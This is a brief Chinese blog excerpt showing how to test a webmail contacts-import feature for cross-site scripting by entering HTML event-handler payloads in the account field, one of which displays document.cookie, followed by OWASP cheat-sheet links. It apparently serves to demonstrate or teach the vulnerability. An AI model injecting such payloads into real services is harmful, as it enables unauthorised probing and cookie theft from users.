点击 “通讯录”---->“工具” ---- >导入其他邮箱联系人
在邮箱账号处添加我们的测试代码：
1.
<IMG SRC=# onmouseover="alert(‘F1n4lly‘)">
2.
<a onmouseover=alert(document.cookie)>xxs link</a>
更多有关xss的资料请访问如下链接：
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
原文：http://my.oschina.net/u/2252603/blog/335197